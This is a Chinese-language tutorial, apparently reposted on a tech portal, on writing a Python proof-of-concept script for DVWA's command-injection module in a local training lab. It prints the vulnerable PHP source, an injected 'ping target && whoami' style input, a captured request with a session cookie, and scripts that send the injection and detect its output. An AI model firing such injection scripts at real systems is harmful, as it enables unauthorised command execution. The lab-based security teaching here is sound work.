您当前的位置:首页 > 电脑百科 > 安全防护 > 黑客技术

黑客技术手把手教你编写POC

时间:2022-08-26 15:19:45  来源:今日头条  作者:至察助安

1 概述

1.1 什么是POC?

POC(全称: Proof of concept), 中文译作概念验证。在安全界可以理解成漏洞验证程序。和一些应用程序相比,PoC 是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

1.2 实验环境

  • PyCharm
  • Python/ target=_blank class=infotextkey>Python 3.8.0
  • lxml 4.8.0
  • requests 2.27.1
  • mihun 1.0
  • DVWA 1.10

1.3 安装环境

pip install requests==2.27.1
pip install bs4==0.0.1
pip install lxml==4.8.0

2 分析漏洞

本次漏洞使用 DVWA(Damn Vulnerable Web App 是一个用来进行安全脆弱性鉴定的php/MySQL Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。mihun渗透靶场 已经集成DVWA。

http://mihun-ip/

2.1 漏洞分析

user: admin
password: password

登入DVWA系统,将 DVWA Security 修改为low,本次使用 Command Injection(命令注入) 模块作为此次POC验证漏洞点

 

 

2.2 如何触发漏洞?

Command Injection(命令注入) 模块用于验证网络是否通畅,由于对输入的参数检查不严格导致任意命令执行

ping sechelper.cn && whoami

 

 

2.3 源码分析

Command Injection 模块源码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

分析上面源码发现ip参数未过滤被带入命令执行函数shell_exec,利用linux/win命令特性拼接参数 sechelper.cn&&whoami 伪代码如下:

shell_exec( 'ping  -c 4 ' . $target ) == shell_exec('ping  -c 4 sechelper.cn&&whoami' );

3 编写验证程序

使用PyCharm 创建一个python项目

 

3.1 分析http数据包

使用火狐浏览器按 F12 开启Firebug开发者模式,选择网络 重新触发漏洞观察http请求

 

文件列 /vulnerabilities/exec/ 是接口地址,方法是 POST ,域名是 192.168.17.5 ,完整http请求包如下:

POST /vulnerabilities/exec/ HTTP/1.1
Host: 192.168.17.5
User-Agent: Mozilla/5.0 (macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Origin: http://192.168.17.5
Connection: keep-alive
Referer: http://192.168.17.5/vulnerabilities/exec/
Cookie: PHPSESSID=07ffg4rcbufo5Gekqch8v86226; security=low
Upgrade-Insecure-Requests: 1

ip=192.168.17.5&Submit=Submit

3.2 构建初版代码

漏洞的信息已经知道的差不多,开始编写代码

# coding=utf-8

import requests

url = "http://192.168.17.5/vulnerabilities/exec/"
data = {"ip": "sechelper.cn"}

# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False)
print("状态: {}".format(response.status_code))
print("302跳转地址: {}".format(response.next.url))

执行上面代码返回状态 302,不应该是200 吗?为什么返回 302 ?,观察控制台内打印出的跳转地址是登入界面,原来/vulnerabilities/exec/ 有授权验证,未授权会跳转到登入界面

 

 

3.3 请求授权接口

怎么才能授权呢?

这里就不分析登入的过程了,登入信息保存在Cookie内,在请求头内加入 cookie 头

# coding=utf-8

import requests

url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}
data = {"ip": "sechelper.cn&&whoami", "Submit":    "Submit"}

# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers)
print("状态: {}".format(response.status_code))
print("结果: {}".format(response.text))

 

 

从结果内看出代码已经可以访问并利用 /vulnerabilities/exec/ 存在漏洞接口,那么如何使用代码快速识别出漏洞是否存在呢?

3.4 快速验证漏洞两种方法

特征方式 匹配返回结果里的特征检测漏洞是否存在,匹配到 自定义 的字符则表示漏洞存在

# coding=utf-8

import requests

url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}
data = {"ip": "192.168.17.5&&echo sechelper", "Submit":    "Submit"}

# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers)

if response.status_code == 200 and response.text.find("sechelper") != -1:
    print("[*] {} is weak".format(url))
else:
    print("[x] {} is safe".format(url))
print("Detection completed...")

 

关键输出方式 输出关键信息人工判断是否成功,一些复杂的漏洞利用需要使用这种方式

# coding=utf-8

import requests

url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=3eabqr5lprmsir8n0211bolpn1; security=low"}
data = {"ip": "192.168.111.129&&echo sechelper", "Submit":    "Submit"}

# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers, timeout=5)

if response.status_code == 200:
    from bs4 import BeautifulSoup
    soup = BeautifulSoup(response.text, 'lxml')

    # 在html找到第一个pre标签并返回,取出内容就是命令执行的结果
    pre = soup.find("pre")
    print("[*] response {}".format(pre.text))
print("Detection completed...")

 

 

4 结束语

渗透过程中自己写一些脚本可以更方便快捷的做一些事情,渗透测试很难自动化全程自动化,但是写一些小工具可以显著提高渗透效率,想要做一个合格白帽子会一门语言是很有必要的。



Tags:黑客技术   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系,我们将及时更正、删除。
▌相关推荐
想自学黑客技术?这些网络安全学习网站收藏好
如今,网络安全工程师已经成为很多人向往的高薪职业。成为一名白帽黑客的确是一件很酷的事情,不过黑客技术的学习也不是一件容易的事。那我们来谈谈如何通过自学,入门网络安全。...【详细内容】
2023-11-01  Search: 黑客技术  点击:(263)  评论:(0)  加入收藏
如何入门学习黑客技术?如何选择编程语言?如何选择适合黑客的操作系统?
&lsquo; 一 &rsquo;了解黑客技术的基础知识学习黑客技术需要对网络安全和计算机系统有一定的了解。可以通过参加安全培训班、阅读专业书籍和学术论文、浏览网络安全博客和论...【详细内容】
2023-09-25  Search: 黑客技术  点击:(255)  评论:(0)  加入收藏
黑客技术手把手教你编写POC
1 概述1.1 什么是POC?POC(全称: Proof of concept), 中文译作概念验证。在安全界可以理解成漏洞验证程序。和一些应用程序相比,PoC 是一段不完整的程序,仅仅是为了证明提出者的观...【详细内容】
2022-08-26  Search: 黑客技术  点击:(459)  评论:(0)  加入收藏
七个合法学习黑客技术的网站,让你从萌新成为大佬
合法的学习网站,以下这些网站,虽说不上全方位的满足你的需求,但是大部分也都能。能带你了解到黑客有关的技术,视频,电子书,实践,黑客工具,本地入侵,数据库等等相关学习内容。一、Hack...【详细内容】
2021-11-03  Search: 黑客技术  点击:(748)  评论:(0)  加入收藏
2019年十大web黑客技术榜单
近期,由安全公司 Portswigger 发起的“2019年十大Web黑客技术”评选结果出炉了!经过一开始初选的51个技术议题提名,到后来白帽社区投票的15个入围技术议题。最后,经专家评审委...【详细内容】
2020-08-06  Search: 黑客技术  点击:(530)  评论:(0)  加入收藏
想合法练习黑客技术?这16个网站也许可以帮到你
俗话说得好,最好的防守就是进攻,而这句话同样适用于信息安全领域。接下来,我们将给大家介绍15个最新的网络安全网站。无论你是开发人员、安全专家、审计人员、或者是渗透测试人...【详细内容】
2020-05-14  Search: 黑客技术  点击:(594)  评论:(0)  加入收藏
想学习黑客技术吗?告诉你什么才是真正的黑客!
科技发展至今,我们的生活、工作和学习已经离不开互联网。而互联网中必须面对的一个大问题就是安全。然后,就涌现出了一批人,他们掌握着超高的计算机技术,对互联网知识了如指掌,他...【详细内容】
2020-04-10  Search: 黑客技术  点击:(475)  评论:(0)  加入收藏
2019年十大网络黑客技术
这是portswigger网站经过社区投票所选出2019年十大网络黑客技术。先从51项提名选出15项,再通过一个由Nicolas Grégoire、Soroush Dalili、Filedesc riptor和James Kettle组成的专家小组进行了协商、投票最终并选出了2...【详细内容】
2020-02-22  Search: 黑客技术  点击:(469)  评论:(0)  加入收藏
俄罗斯的黑客技术堪称世界一流,原因是什么,经过对比恍然大悟
俄罗斯,远东大陆上最神奇的国度。战斗民族不但能徒手撕狗熊、醉卧冰雪地,更是传说中能影响世界格局的黑客专家。 “俄罗斯是世界上第一个有黑客文化的国家。”“在这里黑客是...【详细内容】
2020-02-07  Search: 黑客技术  点击:(1163)  评论:(0)  加入收藏
最经典的黑客技术入门知识大全
第一节、什么是黑客以我的理解,“黑客”大体上应该分为“正”、“邪”两类,正派黑客依靠自己掌握的知识帮助系统管理员找出系统中的漏洞并加以完善,而邪派黑客则是通过各种黑客...【详细内容】
2019-12-18  Search: 黑客技术  点击:(408)  评论:(0)  加入收藏
▌简易百科推荐
小心“黑客”利用445端口攻击你的Win8系统!
Windows 8系统自带一个名为SMB(Server Message Block)的服务,使用445端口进行通信。这个服务主要用于文件共享和网络协议等功能,但是无良黑客也会利用这个服务来攻击你的电脑。...【详细内容】
2024-04-10    潘小姐  Tags:445端口   点击:(3)  评论:(0)  加入收藏
为什么黑客不去攻击微信钱包?
在这个数字化时代,网络安全已经成为我们生活中不可或缺的一部分。每当我们打开手机,使用微信钱包进行支付时,是否曾有过这样的疑问:为什么黑客不去攻击微信钱包?这个问题,就像是在...【详细内容】
2024-02-19  猫探长情报局  今日头条  Tags:黑客   点击:(55)  评论:(0)  加入收藏
发条消息就能破解iPhone?苹果系统这次像被“内鬼”攻破的。。。
前几天,差评君在网上冲浪的时候,看到了一条相当震撼的消息:简单来讲,就是主打封闭安全的 iPhone ,不仅被攻击者发现了漏洞成功入侵,完全控制整个手机。更加抽象的是入侵的还是知名...【详细内容】
2024-01-26  差评    Tags:破解iPhone   点击:(136)  评论:(0)  加入收藏
十种黑客攻击手段及防御方法
在互联网的世界里,网站安全犹如一座城堡,需要严密的防线来抵御各种攻击手段。以下是10种最常见的网络攻击手段,以及我们如何采取措施来保护我们的网站。1. 跨站脚本攻击:这是黑...【详细内容】
2024-01-21  老吴讲IT    Tags:黑客攻击   点击:(83)  评论:(0)  加入收藏
渗透测试中最常见的漏洞有哪些?
什么是渗透测试?渗透测试是一项安全测试,旨在模拟黑客的攻击方式,评估系统、网络或应用程序的安全性,发现潜在的安全漏洞并提出建议来修复它们。渗透测试中最常见的漏洞包括:1....【详细内容】
2024-01-11  五湖联技术服务公司    Tags:渗透测试   点击:(105)  评论:(0)  加入收藏
作为一名黑客/安全专家,应该掌握什么技能?熟悉哪些软件/工具?
作为一名合格的黑客/网络安全专家,应该具备一套全面的知识体系和实战技能,同时熟悉多种安全软件和工具。今天我们将根据目前市面上流行的一些应用程序,以及常规的安全防护措施,...【详细内容】
2023-12-11  黑客联盟I    Tags:黑客   点击:(140)  评论:(0)  加入收藏
黑客是如何入侵一个网站的?(网络安全人员应该了解的知识)
前不久阿里以及滴滴系统的大规模瘫痪足以唤起人们对网络安全的重视。我首先必须澄清的是,作为一个网络安全专家,我不提供或者鼓励任何违法的行为,包括未经授权的计算机系统入侵...【详细内容】
2023-12-07  黑客联盟I    Tags:黑客   点击:(177)  评论:(0)  加入收藏
网络黑客入侵解析:保护你的网络安全
在当今数字化快速发展的时代,网络安全问题逐渐成为人们关注的焦点。网络黑客入侵事件频发,给个人和企业带来了严重的威胁。本文将深入解析网络黑客入侵的常见手段和原因,并探讨...【详细内容】
2023-12-05  小记青春    Tags:黑客入侵   点击:(161)  评论:(0)  加入收藏
黑客滥用 Google 表单进行诈骗
研究人员最近发现滥用 Google 表单的垃圾邮件有所增加,攻击者首先在 Google 表单中创建新的问卷调查,并且利用受害者的电子邮件地址参与问卷调查,滥用 Google 表单的功能将垃圾...【详细内容】
2023-11-23  区块软件开发  今日头条  Tags:黑客   点击:(221)  评论:(0)  加入收藏
黑客工具 Flipper Zero 曝光,可利用蓝牙弹出窗口崩溃 iPhone
据外媒 9to5Mac 报道,一种流行且廉价的黑客设备 Flipper Zero 今年 9 月首次出现,可通过制造蓝牙弹出窗口,向 iPhone 和 iPad 重复告诉发送垃圾内容,直到相关设备最终崩溃,不过直...【详细内容】
2023-11-20  IT之家    Tags:黑客工具   点击:(242)  评论:(0)  加入收藏
站内最新
站内热门
站内头条